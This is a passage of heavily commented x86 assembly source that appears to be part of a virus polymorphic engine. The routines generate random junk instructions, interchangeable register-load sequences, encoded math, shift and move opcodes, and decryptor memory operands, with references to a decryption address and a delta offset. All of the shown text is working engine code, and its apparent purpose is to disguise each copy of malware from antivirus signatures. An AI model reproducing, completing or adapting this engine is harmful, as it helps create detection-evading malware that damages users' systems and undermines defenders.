gm_meth4: mov esi, [ebp.DecryptRVA-idelta]
|
|||
|
push 03h ; scaling factor 1, 2 or 4
|
|||
|
call rnd32r
|
|||
|
mov ecx, eax
|
|||
|
push edx
|
|||
|
xor edx, edx
|
|||
|
inc edx
|
|||
|
shl edx, cl
|
|||
|
sub esi, edx
|
|||
|
pop edx
|
|||
|
shl eax, 03h
|
|||
|
xor al, [ebp.creg-idelta]
|
|||
|
mov ch, al
|
|||
|
mov cl, MOD_DIRECT
|
|||
|
ret
|
|||
|
|
|||
|
; get current encrypted dword
|
|||
|
gm_meth5: movsx cx, byte ptr [ebp.preg-idelta] ; use [preg] without
|
|||
|
xor esi, esi ; displacement
|
|||
|
ret
|
|||
|
|
|||
|
gm_methods equ $
|
|||
|
dd offset gm_meth1 - idelta
|
|||
|
dd offset gm_meth2 - idelta
|
|||
|
GM_METHCNT3 equ 02h
|
|||
|
dd offset gm_meth3 - idelta
|
|||
|
GM_METHCNT2 equ 03h
|
|||
|
dd offset gm_meth4 - idelta
|
|||
|
dd offset gm_meth5 - idelta
|
|||
|
GM_METHCNT1 equ 05h
|
|||
|
iGetMemory endp
|
|||
|
|
|||
|
iGetWrMem proc
|
|||
|
push eax
|
|||
|
push GM_METHCNT3 - 1
|
|||
|
call rnd32r
|
|||
|
mov eax, [ebp.gm_methods-idelta+4+4*eax]
|
|||
|
add eax, ebp
|
|||
|
call eax
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
iGetWrMem endp
|
|||
|
|
|||
|
|
|||
|
iGetPar proc
|
|||
|
ret
|
|||
|
iGetPar endp
|
|||
|
|
|||
|
; common junk procedures
|
|||
|
|
|||
|
iGetJunkReg proc
|
|||
|
push 03h
|
|||
|
call rnd32r
|
|||
|
movzx eax, byte ptr [ebp.junkreg1-idelta+eax]
|
|||
|
ret
|
|||
|
iGetJunkReg endp
|
|||
|
|
|||
|
iPushJunk proc
|
|||
|
pushad
|
|||
|
push PP_METHCNT ; random method to push
|
|||
|
call rnd32r ; a parameter
|
|||
|
mov eax, [ebp.pp_methods-idelta+4*eax]
|
|||
|
add eax, ebp
|
|||
|
call eax ; call da method
|
|||
|
mov [esp], edi
|
|||
|
popad
|
|||
|
ret
|
|||
|
|
|||
|
; push 8-bit immediate sign 'xtended to 32-bit
|
|||
|
pp_meth1: mov al, PUSH_IMM_SX
|
|||
|
stosb
|
|||
|
call rnd32
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
; push 32-bit immediate
|
|||
|
pp_meth2: mov al, PUSH_IMM
|
|||
|
stosb
|
|||
|
call rnd32
|
|||
|
xchg eax, edx
|
|||
|
call rnd32
|
|||
|
and eax, edx
|
|||
|
stosd
|
|||
|
ret
|
|||
|
|
|||
|
; push register
|
|||
|
pp_meth4: call rnd32
|
|||
|
and al, REG_EDI
|
|||
|
xor al, PUSH_REG
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
; push memory
|
|||
|
pp_meth3: call iGetMemory
|
|||
|
mov al, OP_GROUP5
|
|||
|
stosb
|
|||
|
mov bl, P_PUSH
|
|||
|
jmp ciCreateOperand
|
|||
|
|
|||
|
|
|||
|
pp_methods equ $
|
|||
|
dd offset pp_meth1 - idelta
|
|||
|
dd offset pp_meth2 - idelta
|
|||
|
dd offset pp_meth3 - idelta
|
|||
|
dd offset pp_meth4 - idelta
|
|||
|
dd offset pp_meth4 - idelta
|
|||
|
PP_METHCNT equ 05h
|
|||
|
iPushJunk endp
|
|||
|
|
|||
|
iPopJunk proc
|
|||
|
call rnd32
|
|||
|
test al, 01h
|
|||
|
jz pj_asdfklj
|
|||
|
mov al, POP_REG
|
|||
|
xor eax, ebx
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
pj_asdfklj: test al, 02h
|
|||
|
jz pj_blahblah
|
|||
|
call iGetWrMem
|
|||
|
mov al, POP_MEM
|
|||
|
stosb
|
|||
|
xor bl, bl
|
|||
|
jmp ciCreateOperand
|
|||
|
|
|||
|
pj_blahblah: push 04h
|
|||
|
pop edx
|
|||
|
xor bl, bl
|
|||
|
test al, 04h
|
|||
|
jz pj_sueder
|
|||
|
add bl, OPTYPE_SUB
|
|||
|
neg edx
|
|||
|
pj_sueder: mov al, OPSIZE_32
|
|||
|
mov cl, REG_ESP xor MOD_REG
|
|||
|
xor ch, ch
|
|||
|
call ciOpRMImm
|
|||
|
ret
|
|||
|
iPopJunk endp
|
|||
|
; returns random dword (0..4294967295)
|
|||
|
rnd32 proc; [no parameterz]
|
|||
|
push ecx
|
|||
|
push edx
|
|||
|
mov eax, [ebp.RandomSeed-idelta] ; load random seed
|
|||
|
mov ecx, eax
|
|||
|
mov edx, eax
|
|||
|
not ecx
|
|||
|
and ecx, 03h ; loop 8-64 times
|
|||
|
inc ecx
|
|||
|
shl ecx, 03h
|
|||
|
rnd32_loop: push ecx
|
|||
|
mov ecx, edx
|
|||
|
ror eax, cl
|
|||
|
neg eax
|
|||
|
rol edx, cl
|
|||
|
dec edx
|
|||
|
pop ecx
|
|||
|
rnd32_blah: loop rnd32_loop
|
|||
|
xor eax, edx
|
|||
|
mov [ebp.RandomSeed-idelta], eax ; write back random seed
|
|||
|
pop edx
|
|||
|
pop ecx
|
|||
|
ret
|
|||
|
rnd32 endp
|
|||
|
|
|||
|
; returns random dword (0..[esp+4])
|
|||
|
rnd32r proc; [range]
|
|||
|
push ecx
|
|||
|
push edx
|
|||
|
mov ecx, [esp+2*4+4]
|
|||
|
call rnd32
|
|||
|
xor edx, edx
|
|||
|
div ecx
|
|||
|
xchg eax, edx
|
|||
|
pop edx
|
|||
|
pop ecx
|
|||
|
ret 04h
|
|||
|
rnd32r endp
|
|||
|
|
|||
|
; 'xchanges n bytes from address ESI (n has to be pushed)
|
|||
|
MixBytes proc; [count] [esi = ptr]
|
|||
|
pushad ; preserve all registers
|
|||
|
mov ebx, [esp.PUSHAD_SIZE+04h]
|
|||
|
mov ecx, ebx
|
|||
|
shl ecx, 01h ; loop counter (2 * # of bytes)
|
|||
|
|
|||
|
xb_loop: push ebx ; number of bytes
|
|||
|
call rnd32r ; get first byte offset
|
|||
|
xchg eax, edx
|
|||
|
push ebx
|
|||
|
call rnd32r ; get second byte offset
|
|||
|
push ebx ; preserve number
|
|||
|
mov bl, [esi+eax]
|
|||
|
xchg [esi+edx], bl ; exchange bytes
|
|||
|
mov [esi+eax], bl
|
|||
|
pop ebx
|
|||
|
loop xb_loop
|
|||
|
popad
|
|||
|
ret 04h
|
|||
|
MixBytes endp
|
|||
|
|
|||
|
; writes 1 to 4 random bytes
|
|||
|
WriteJunk proc
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
push 04h ; get random value 0..3
|
|||
|
call rnd32r
|
|||
|
inc eax ; +1 (1..4)
|
|||
|
xchg ecx, eax ; load into counter
|
|||
|
wj_loop: call rnd32 ; get a random byte
|
|||
|
stosb ; store it
|
|||
|
loop wj_loop
|
|||
|
pop ecx
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
WriteJunk endp
|
|||
|
|
|||
|
; returns reg if it is a junk reg, otherwise -1
|
|||
|
iIsJReg proc
|
|||
|
mov eax, [esp.04h]
|
|||
|
cmp [ebp.junkreg1-idelta], al
|
|||
|
je is_junkreg
|
|||
|
cmp [ebp.junkreg2-idelta], al
|
|||
|
je is_junkreg
|
|||
|
cmp [ebp.junkreg3-idelta], al
|
|||
|
je is_junkreg
|
|||
|
xor eax, eax
|
|||
|
dec eax
|
|||
|
is_junkreg: ret 04h
|
|||
|
iIsJReg endp
|
|||
|
|
|||
|
; generates TEST reg, reg/OR reg, reg/AND reg, reg
|
|||
|
gCheckReg proc
|
|||
|
; generate MOD/RM byte with MOD_REG flag and twice the same
|
|||
|
; register.
|
|||
|
pushad
|
|||
|
mov al, bl
|
|||
|
xor al, MOD_REG ; use as register
|
|||
|
mov cl, al
|
|||
|
xchg eax, ebx
|
|||
|
|
|||
|
mov bh, OPTYPE_OR
|
|||
|
push 05h
|
|||
|
call rnd32r ; get random value
|
|||
|
cmp al, 03h
|
|||
|
jae gcr_zer0
|
|||
|
test al, 02h
|
|||
|
jz gcr_and2
|
|||
|
mov bh, OPTYPE_AND
|
|||
|
gcr_and2: test al, 01h
|
|||
|
jz gcr_not_test
|
|||
|
mov bh, OPTYPE_TEST
|
|||
|
gcr_not_test: call rnd32
|
|||
|
and ah, REG_MEM ; random direction
|
|||
|
mov al, OPSIZE_32
|
|||
|
call ciOpRMReg
|
|||
|
gcr_exit2: mov [esp], edi
|
|||
|
popad
|
|||
|
ret
|
|||
|
gcr_zer0: call rnd32
|
|||
|
and al, OPTYPE_CMP
|
|||
|
cmp al, OPTYPE_ADC
|
|||
|
jb gcrz_1
|
|||
|
cmp al, OPTYPE_AND
|
|||
|
jna gcr_zer0
|
|||
|
gcrz_1: xchg eax, ebx
|
|||
|
xor edx, edx
|
|||
|
mov al, OPSIZE_32
|
|||
|
call ciOpRMImm
|
|||
|
jmp gcr_exit2
|
|||
|
gCheckReg endp
|
|||
|
; generates SUB reg, reg/XOR reg, reg/AND reg, 0
|
|||
|
gClearReg proc
|
|||
|
; generate MOD/RM byte with MOD_REG flag and twice the same
|
|||
|
; register.
|
|||
|
pushad
|
|||
|
mov al, bl
|
|||
|
shl al, 03h ; shift to REG field
|
|||
|
xor al, bl ; write RM field
|
|||
|
xor al, MOD_REG ; use as register
|
|||
|
xchg eax, ebx
|
|||
|
|
|||
|
; generate either a SUB reg, reg or XOR reg, reg
|
|||
|
mov cl, MATH_SUB or OPSIZE_32
|
|||
|
push 03h
|
|||
|
call rnd32r ; get random value
|
|||
|
test al, 02h
|
|||
|
jnz gcr_and
|
|||
|
test al, 01h
|
|||
|
jz gcr_not_sub
|
|||
|
mov cl, MATH_XOR or OPSIZE_32
|
|||
|
gcr_not_sub: and al, REG_MEM ; random direction
|
|||
|
or eax, ecx ; create opcode
|
|||
|
stosb ; store opcode
|
|||
|
xchg eax, ebx ; MOD/RM byte
|
|||
|
stosb ; store
|
|||
|
gcr_exit: mov [esp], edi
|
|||
|
popad
|
|||
|
ret
|
|||
|
gcr_and: xchg eax, ebx
|
|||
|
and al, MOD_REG xor REG_EDI
|
|||
|
xchg eax, ecx
|
|||
|
mov bl, OPTYPE_AND
|
|||
|
mov al, OPSIZE_32
|
|||
|
xor edx, edx
|
|||
|
call ciOpRMImm
|
|||
|
jmp gcr_exit
|
|||
|
gClearReg endp
|
|||
|
|
|||
|
; loads reg (EBX) with immediate value (EDX)
|
|||
|
gLoadReg proc
|
|||
|
mov eax, edx
|
|||
|
shr eax, 0Fh
|
|||
|
jnz glr_notword
|
|||
|
|
|||
|
push 03h ; the value is 0..32767,
|
|||
|
call rnd32r ; so we can choose
|
|||
|
sub al, 01h
|
|||
|
adc al, 00h
|
|||
|
glr_shift_sx: shl eax, 03h ; MOVX_SX or MOVX_ZX
|
|||
|
|
|||
|
glr_word_val: test al, al
|
|||
|
jnz glr_not_zx
|
|||
|
push 02h
|
|||
|
call rnd32r
|
|||
|
test eax, eax
|
|||
|
jz glr_not_zx
|
|||
|
|
|||
|
call gClearReg
|
|||
|
|
|||
|
push 05h ; ADD/OR/SUB/XOR
|
|||
|
call rnd32r
|
|||
|
cmp al, OPTYPE_OR
|
|||
|
jbe glr_1
|
|||
|
add al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR
|
|||
|
glr_1: cmp al, OPTYPE_SUB
|
|||
|
jne glr_ns
|
|||
|
neg edx
|
|||
|
glr_ns: cmp al, OPTYPE_CMP
|
|||
|
jne glr_asdf
|
|||
|
inc eax
|
|||
|
glr_asdf: xchg eax, ebx
|
|||
|
xor al, MOD_REG
|
|||
|
xchg eax, ecx
|
|||
|
mov al, OPSIZE_16
|
|||
|
jmp ciOpRMImm
|
|||
|
|
|||
|
glr_not_zx: push eax
|
|||
|
call iGetJunkReg
|
|||
|
xchg eax, ecx
|
|||
|
call rnd32
|
|||
|
test al, 03h ; chance of 1:4 to use same register
|
|||
|
jnz glr_blah1
|
|||
|
mov ecx, ebx
|
|||
|
glr_blah1: mov al, OPSIZE_16
|
|||
|
push ebx
|
|||
|
mov bl, OPTYPE_MOV
|
|||
|
xor ecx, 0FFFFFF00h xor MOD_REG
|
|||
|
call ciOpRMImm
|
|||
|
pop ebx
|
|||
|
and ecx, REG_EDI
|
|||
|
xchg ecx, ebx
|
|||
|
call iBlockJunkAR
|
|||
|
|
|||
|
pop eax
|
|||
|
mov ah, ESC_2BYTE
|
|||
|
xor al, MOVX xor MOVX_WORD
|
|||
|
xchg ah, al
|
|||
|
stosw
|
|||
|
xchg ecx, ebx
|
|||
|
xor ecx, 0FFFFFF00h xor MOD_REG
|
|||
|
jmp ciCreateOperand
|
|||
|
|
|||
|
glr_notword: inc eax
|
|||
|
shr eax, 11h ; if not zero, value is a negative word
|
|||
|
jnz glr_shift_sx ; we must use MOVSX
|
|||
|
|
|||
|
mov eax, edx
|
|||
|
shr eax, 10h ; if zero, only first 16 bits are used
|
|||
|
jz glr_word_val ; we must use MOVZX
|
|||
|
|
|||
|
push GLR_METHCNT ; choose between some methods
|
|||
|
call rnd32r
|
|||
|
mov eax, [ebp.glr_methods-idelta+eax*4] ; load method
|
|||
|
add eax, ebp ; relocate pointer to subroutine
|
|||
|
jmp eax ; jump to method.
|
|||
|
|
|||
|
; method 1: mov reg, imm
|
|||
|
glr_meth1: xchg eax, ebx ; get register
|
|||
|
xor al, MOV_REG_IMM32 ; add opcode
|
|||
|
stosb ; store opcode
|
|||
|
xchg eax, edx ; get immediate
|
|||
|
stosd ; store immediate
|
|||
|
ret
|
|||
|
|
|||
|
; method 2: clear reg; add/or/sub/xor reg, imm
|
|||
|
glr_meth2: call gClearReg ; clear the register
|
|||
|
push 04h ; ADD/OR/SUB/XOR
|
|||
|
call rnd32r
|
|||
|
cmp al, OPTYPE_OR
|
|||
|
jbe glr_m2_1
|
|||
|
add al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR
|
|||
|
glr_m2_1: cmp al, OPTYPE_SUB
|
|||
|
jne glr_m2_ns
|
|||
|
neg edx
|
|||
|
glr_m2_ns: call iBlockJunkAR
|
|||
|
xchg eax, ebx
|
|||
|
or al, MOD_REG ; register
|
|||
|
xchg eax, ecx
|
|||
|
mov al, OPSIZE_32 ; 32-bit operand
|
|||
|
jmp ciOpRMImm
|
|||
|
|
|||
|
; method 3: mov reg, rnd;
|
|||
|
; sub/add/xor reg, imm add/sub/xor rnd
|
|||
|
glr_meth3: mov al, MOV_REG_IMM32 ; mov reg, imm32 opcode
|
|||
|
xor eax, ebx ; add register
|
|||
|
stosb ; store it
|
|||
|
call rnd32 ; get a random dword
|
|||
|
stosd ; store it
|
|||
|
xchg eax, edx ; random value
|
|||
|
xchg eax, ecx ; immediate
|
|||
|
call iBlockJunkAR ; generate junk block
|
|||
|
push 03h ; add, sub, xor
|
|||
|
call rnd32r
|
|||
|
test eax, eax ; add?
|
|||
|
jz glr_m3_1
|
|||
|
add al, OPTYPE_SUB - 1 ; no, sub/xor
|
|||
|
glr_m3_1: test eax, eax
|
|||
|
jnz glr_m3_2
|
|||
|
neg edx
|
|||
|
add edx, ecx ; - random + immediate
|
|||
|
glr_m3_2: cmp al, OPTYPE_SUB
|
|||
|
jnz glr_m3_3
|
|||
|
sub edx, ecx ; random - immediate
|
|||
|
glr_m3_3: cmp al, OPTYPE_XOR
|
|||
|
jnz glr_m3_4
|
|||
|
xor edx, ecx ; random xor immediate
|
|||
|
glr_m3_4: xchg eax, ebx
|
|||
|
or al, MOD_REG
|
|||
|
xchg eax, ecx
|
|||
|
mov al, OPSIZE_32
|
|||
|
jmp ciOpRMImm
|
|||
|
|
|||
|
; method 4: mov reg, imm ror/rol rnd;
|
|||
|
; ror/rol reg, rnd
|
|||
|
glr_meth4: call rnd32
|
|||
|
and al, 1Fh
|
|||
|
jz glr_meth4
|
|||
|
xchg eax, ecx
|
|||
|
xchg eax, edx
|
|||
|
push ebx
|
|||
|
mov bl, ROL_SHIFT
|
|||
|
test ch, 01h
|
|||
|
jz glr_m4_rol
|
|||
|
rol eax, cl
|
|||
|
inc ebx
|
|||
|
jmp glr_m4_ror
|
|||
|
glr_m4_rol: ror eax, cl
|
|||
|
glr_m4_ror: xchg dl, cl
|
|||
|
pop ecx
|
|||
|
mov byte ptr [edi], MOV_REG_IMM32
|
|||
|
xor [edi], cl
|
|||
|
inc edi
|
|||
|
stosd
|
|||
|
xchg ah, dl
|
|||
|
xchg ebx, ecx
|
|||
|
call iBlockJunkAR
|
|||
|
xchg ebx, ecx
|
|||
|
mov al, OPSIZE_32
|
|||
|
mov bh, SHIFT_IMM
|
|||
|
cmp ah, 01h
|
|||
|
jnz glr_m4_n1
|
|||
|
inc bh
|
|||
|
glr_m4_n1: xor ecx, 0FFFFFF00h xor MOD_REG
|
|||
|
jmp ciShiftRM
|
|||
|
|
|||
|
glr_methods equ $
|
|||
|
dd offset glr_meth1 - idelta
|
|||
|
dd offset glr_meth2 - idelta
|
|||
|
dd offset glr_meth3 - idelta
|
|||
|
dd offset glr_meth4 - idelta
|
|||
|
GLR_METHCNT equ 04h
|
|||
|
gLoadReg endp
|
|||
|
; relocates a long jump (32-bit displacement)
|
|||
|
; [address of disp] points to the byte after the opcode
|
|||
|
RelLongJmp proc; [address], [address of disp]
|
|||
|
push eax
|
|||
|
push edi
|
|||
|
mov eax, [esp.0Ch] ; where to jump
|
|||
|
mov edi, [esp.10h] ; address of displacement
|
|||
|
neg edi
|
|||
|
lea eax, [eax+edi-04h]
|
|||
|
neg edi
|
|||
|
stosd
|
|||
|
pop edi
|
|||
|
pop eax
|
|||
|
ret 08h
|
|||
|
RelLongJmp endp
|
|||
|
; generates a shift instruction.
|
|||
|
;
|
|||
|
; AL: operand size
|
|||
|
; you can generate byte, word or dword operations. choose between
|
|||
|
; OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may generate a random
|
|||
|
; number < OPSIZE_RND.
|
|||
|
;
|
|||
|
; AH: immediate shift value
|
|||
|
;
|
|||
|
; BL: shift type (ROL_SHIFT, SHL_SHIFT, RCR_SHIFT, ...)
|
|||
|
; you can use random value < RND_SHIFT
|
|||
|
;
|
|||
|
;
|
|||
|
; BH: shift operand type
|
|||
|
; SHIFT_IMM
|
|||
|
; SHIFT_1
|
|||
|
; SHIFT_CL
|
|||
|
; or random value < SHIFT_RND
|
|||
|
;
|
|||
|
; CL: R/M operand. can be:
|
|||
|
; 1. register (REG_??? or MOD_REG)
|
|||
|
; 2. memory, using register as index (REG_???)
|
|||
|
; 3. memory, immediate address (MOD_DIRECT), ESI = virtual address
|
|||
|
;
|
|||
|
; CH: second index register + scaling factor
|
|||
|
; REG_??? + NO_SCALE / SCALE_2/4/8
|
|||
|
; (use random value < SCALE_RND, to get random register & scaling).
|
|||
|
; if this byte is zero, no SIB byte is used.
|
|||
|
; take special care when using no scaling factor (logical or with
|
|||
|
; NO_SCALE)
|
|||
|
;
|
|||
|
; ESI: displacement
|
|||
|
; if this is zero, no displacement is used.
|
|||
|
; when usin' direct addressing (MOD_DIRECT), this register contains
|
|||
|
; immediate memory address.
|
|||
|
; if ESI is in the range between -128 and 127, 8-bit displacement is
|
|||
|
; used. when you're using 8-bit displacement calculate them like this:
|
|||
|
; movsx esi, rm8 ; rm8 = 8-bit register or memory operand
|
|||
|
; ; containing 8-bit displacement.
|
|||
|
;
|
|||
|
ciShiftRM proc
|
|||
|
pushad
|
|||
|
test al, OPSIZE_16 ; check if 16-bit operand
|
|||
|
jz ciSRno_prefix ; no, we don't need a prefix
|
|||
|
mov byte ptr [edi], 66h ; write prefix
|
|||
|
inc edi ; increment pointer
|
|||
|
dec eax ; change operand size to 32-bit
|
|||
|
ciSRno_prefix: cmp ah, 01h
|
|||
|
jnz ciSRasdlkfj
|
|||
|
cmp bh, SHIFT_IMM
|
|||
|
test bh, bh
|
|||
|
jnz ciSRasdlkfj
|
|||
|
mov bh, SHIFT_1
|
|||
|
ciSRasdlkfj: test bh, bh
|
|||
|
jz ciSRt_imm ; shift by immediate value
|
|||
|
test bh, SHIFT_CL
|
|||
|
jz ciSRt_1
|
|||
|
or al, 02h
|
|||
|
ciSRt_1: or al, 10h
|
|||
|
ciSRt_imm: or al, OP_SHIFT
|
|||
|
stosb
|
|||
|
cmp bl, SAR_SHIFT
|
|||
|
jnz ciSRnot_sar
|
|||
|
inc ebx
|
|||
|
ciSRnot_sar: mov al, bh
|
|||
|
push eax
|
|||
|
call ciCreateOperand
|
|||
|
pop eax
|
|||
|
test al, SHIFT_1 or SHIFT_CL
|
|||
|
jnz ciSRexit
|
|||
|
xchg al, ah
|
|||
|
stosb
|
|||
|
ciSRexit: mov [esp], edi
|
|||
|
popad
|
|||
|
ret
|
|||
|
ciShiftRM endp
|
|||
|
; generates a math operation, move, compare or exchange instruction.
|
|||
|
;
|
|||
|
; AL: operand size
|
|||
|
; you can generate byte, word or dword operations. choose between
|
|||
|
; OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may generate a random
|
|||
|
; number < OPSIZE_RND.
|
|||
|
;
|
|||
|
; AH: direction (MEM_REG, REG_MEM)
|
|||
|
; MEM_REG, from register to memory (write)
|
|||
|
; REG_MEM, from memory to register (read)
|
|||
|
; or random value < DIR_RND.
|
|||
|
;
|
|||
|
; BL: register
|
|||
|
; REG_??? or random value lower than REG_RND
|
|||
|
;
|
|||
|
; BH: operation type
|
|||
|
; the following operations are generated:
|
|||
|
; ADD, OR, ADC, SBB, AND, SUB, XOR, CMP, MOV, XCHG, TEST
|
|||
|
; use the corresponding OPTYPE_??? constant as operation type.
|
|||
|
; you can also use a random number lower than OPTYPE_RND constant.
|
|||
|
;
|
|||
|
; CL: R/M operand. can be:
|
|||
|
; 1. register (REG_??? or MOD_REG)
|
|||
|
; 2. memory, using register as index (REG_???)
|
|||
|
; 3. memory, immediate address (MOD_DIRECT), ESI = virtual address
|
|||
|
;
|
|||
|
; CH: second index register + scaling factor
|
|||
|
; REG_??? + NO_SCALE / SCALE_2/4/8
|
|||
|
; (use random value < SCALE_RND, to get random register & scaling).
|
|||
|
; if this byte is zero, no SIB byte is used.
|
|||
|
; take special care when using no scaling factor (logical or with
|
|||
|
; NO_SCALE)
|
|||
|
;
|
|||
|
; ESI: displacement
|
|||
|
; if this is zero, no displacement is used.
|
|||
|
; when usin' direct addressing (MOD_DIRECT), this register contains
|
|||
|
; immediate memory address.
|
|||
|
; if ESI is in the range between -128 and 127, 8-bit displacement is
|
|||
|
; used. when you're using 8-bit displacement calculate them like this:
|
|||
|
; movsx esi, rm8 ; rm8 = 8-bit register or memory operand
|
|||
|
; ; containing 8-bit displacement.
|
|||
|
ciOpRMReg proc
|
|||
|
pushad
|
|||
|
cmp al, OPSIZE_16 ; check if 16-bit operand
|
|||
|
jnz ciORRno_prefix ; no, we don't need a prefix
|
|||
|
mov byte ptr [edi], 66h ; write prefix
|
|||
|
inc edi ; increment pointer
|
|||
|
dec eax ; change operand size to 32-bit
|
|||
|
|
|||
|
ciORRno_prefix: cmp bh, OPTYPE_TEST ; check if TEST instruction
|
|||
|
jnz ciORRlame1
|
|||
|
mov bh, 090h ; real opcode ROR 3
|
|||
|
xor ah, ah ; we can only use MEM_REG
|
|||
|
ciORRlame1: cmp bh, OPTYPE_XCHG ; check if XCHG instruction
|
|||
|
jnz ciORRlame2
|
|||
|
mov bh, 0D0h ; real opcode ROR 3
|
|||
|
test al, al ; check if 8-bit operand
|
|||
|
jz ciORRlame2 ; next 2 checkz are obsolete
|
|||
|
|
|||
|
mov dl, cl
|
|||
|
and dl, MOD_REG
|
|||
|
cmp dl, MOD_REG
|
|||
|
jnz ciORRblah
|
|||
|
|
|||
|
xchg cl, bl
|
|||
|
test cl, cl ; check if reg field is eax
|
|||
|
jz ciORRxchgeax ; yes, generate xchg eAX, ??
|
|||
|
xchg bl, cl
|
|||
|
cmp cl, REG_EAX or MOD_REG ; check if r/m field is eax
|
|||
|
jnz ciORRlame2
|
|||
|
ciORRxchgeax: test cl, MOD_DISP8
|
|||
|
jz ciORRblah
|
|||
|
test cl, MOD_DISP32
|
|||
|
jz ciORRblah
|
|||
|
|
|||
|
mov al, bl ; BL contains reg
|
|||
|
and al, 3Fh ; clear MOD_REG bits
|
|||
|
or al, XCHG_EAX_REG ; generate opcode
|
|||
|
stosb ; store opcode
|
|||
|
jmp ciORRexit ; done! we saved one byte, but
|
|||
|
; poly engine grows 25 bytes :p
|
|||
|
ciORRblah:
|
|||
|
ciORRlame2: cmp bh, OPTYPE_MOV ; check if MOV instruction
|
|||
|
jnz ciORRlame3
|
|||
|
mov bh, 011h ; real opcode ROR 3
|
|||
|
ciORRlame3: shl ah, 1
|
|||
|
or al, ah ; operand size + direction
|
|||
|
rol bh, 03h ; operation number ROL 3
|
|||
|
or al, bh
|
|||
|
stosb ; store opcode
|
|||
|
call ciCreateOperand ; create R/M byte
|
|||
|
ciORRexit: mov [esp], edi
|
|||
|
popad
|
|||
|
ret
|
|||
|
ciOpRMReg endp
|
|||
|
; generates a math operation, move or compare instruction.
|
|||
|
;
|
|||
|
; AL: operand size
|
|||
|
; you can generate byte, word or dword operations. choose between
|
|||
|
; OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may use random operand size
|
|||
|
; (random number must be lower than OPSIZE_RND)
|
|||
|
;
|
|||
|
; BL: operation type
|
|||
|
; the following operations are generated:
|
|||
|
; ADD, OR, ADC, SBB, AND, SUB, XOR, CMP, MOV, XCHG, TEST
|
|||
|
; use the corresponding OPTYPE_??? constant as operation type.
|
|||
|
; you can also use a random number lower than OPTYPE_RND constant.
|
|||
|
;
|
|||
|
;
|
|||
|
; CL: R/M operand. can be:
|
|||
|
; 1. register (REG_??? or MOD_REG)
|
|||
|
; 2. memory, using register as index (REG_???)
|
|||
|
; 3. memory, immediate address (MOD_DIRECT), ESI = virtual address
|
|||
|
;
|
|||
|
; hey, you'd bet right! here you can also use random value! :I
|
|||
|
; REG_RND for random register (don't forget to set MOD_REG),
|
|||
|
; REG_RND for random index reg
|
|||
|
; and finally MEM_RND for random index reg, but also direct
|
|||
|
; addressing (means no index reg is used, but memory address)
|
|||
|
;
|
|||
|
; CH: second index register + scaling factor
|
|||
|
; REG_??? + NO_SCALE / SCALE_2/4/8
|
|||
|
; (use random value < SCALE_RND, to get random register & scaling).
|
|||
|
; if this byte is zero, no SIB byte is used.
|
|||
|
; take special care when using no scaling factor (logical or with
|
|||
|
; NO_SCALE)
|
|||
|
; EDX/DX/DL: immediate value
|
|||
|
;
|
|||
|
; ESI: displacement or immediate address
|
|||
|
;
|
|||
|
; if operation is MOV and operand is register, generate MOV reg, imm8/16/32
|
|||
|
; if operation is MOV and operand is memory, generate MOV mem, imm8/16/32
|
|||
|
; if operation is TEST, generate TEST r/m, imm8/16/32
|
|||
|
; if operand is register and register is EAX/AX/AL, no R/M byte is used.
|
|||
|
; (other opcode)
|
|||
|
;
|
|||
|
ciOpRMImm proc
|
|||
|
pushad
|
|||
|
push edx
|
|||
|
mov edx, eax
|
|||
|
cmp al, OPSIZE_16 ; are we usin' 16-bit operands?
|
|||
|
jnz ciORIno_prefix ; no, we don't need a prefix.
|
|||
|
mov byte ptr [edi], 66h ; store prefix
|
|||
|
inc edi
|
|||
|
dec eax
|
|||
|
|
|||
|
; check for MOV operation
|
|||
|
|
|||
|
ciORIno_prefix: cmp bl, OPTYPE_MOV ; MOV operation?
|
|||
|
jnz ciORInot_mov ; no, check next
|
|||
|
|
|||
|
; check if operand is register
|
|||
|
|
|||
|
push eax ; push operand size.
|
|||
|
mov eax, ecx
|
|||
|
xor al, MOD_REG ; invert MOD_??? bits
|
|||
|
test al, MOD_REG ; they aren't 00 now?
|
|||
|
jnz ciORInot_reg ; operand is not register
|
|||
|
pop ecx ; pop operand size
|
|||
|
shl cl, 03h ; generate B0h or B8h opcode
|
|||
|
or al, cl ; register OR operand size
|
|||
|
or al, MOV_REG_IMM
|
|||
|
stosb ; store opcode
|
|||
|
jmp ciORIwrite_imm ; write immediate
|
|||
|
|
|||
|
; generate MOV mem, imm
|
|||
|
|
|||
|
ciORInot_reg: pop eax ; pop operand size
|
|||
|
or al, MOV_MEM_IMM
|
|||
|
stosb
|
|||
|
xor ebx, ebx
|
|||
|
jmp ciORIcreate_rm
|
|||
|
|
|||
|
; Check for TEST operation
|
|||
|
|
|||
|
ciORInot_mov: cmp bl, OPTYPE_TEST ; TEST operation?
|
|||
|
jnz ciORInot_test ; no, check next
|
|||
|
cmp cl, REG_EAX or MOD_REG ; reg = EAX/AX/AL?
|
|||
|
jnz ciORInot_eax1
|
|||
|
or al, TEST_EAX_IMM ; generate TEST eAX/AL, imm
|
|||
|
stosb
|
|||
|
jmp ciORIwrite_imm
|
|||
|
|
|||
|
ciORInot_eax1: or al, OP_GROUP3 ; opcode for operation group 3
|
|||
|
stosb ; store
|
|||
|
xor bl, bl ; TEST r/m, Ib/Iv
|
|||
|
jmp ciORIcreate_rm
|
|||
|
|
|||
|
; check if EAX/AX/AL register.
|
|||
|
; if yes, we can generate opcode by shifting left operation
|
|||
|
; type by 03h, adding 04h and adding operand size.
|
|||
|
|
|||
|
ciORInot_test:
|
|||
|
; if all above fails, generate operation from immediate
|
|||
|
; group (group 1). opcode 80h or operand size.
|
|||
|
; if it is a 32-bit immediate, we check if immediate value
|
|||
|
; fits in byte (-128 <= immediate >= 127). we can save 3
|
|||
|
; bytes that will be 000000h or FFFFFFh anyway. :-%
|
|||
|
|
|||
|
push edx
|
|||
|
or al, OP_GROUP1
|
|||
|
test al, OPSIZE_32
|
|||
|
jz ciORIblah
|
|||
|
|
|||
|
mov edx, [esp + 04h]
|
|||
|
movsx edx, dl
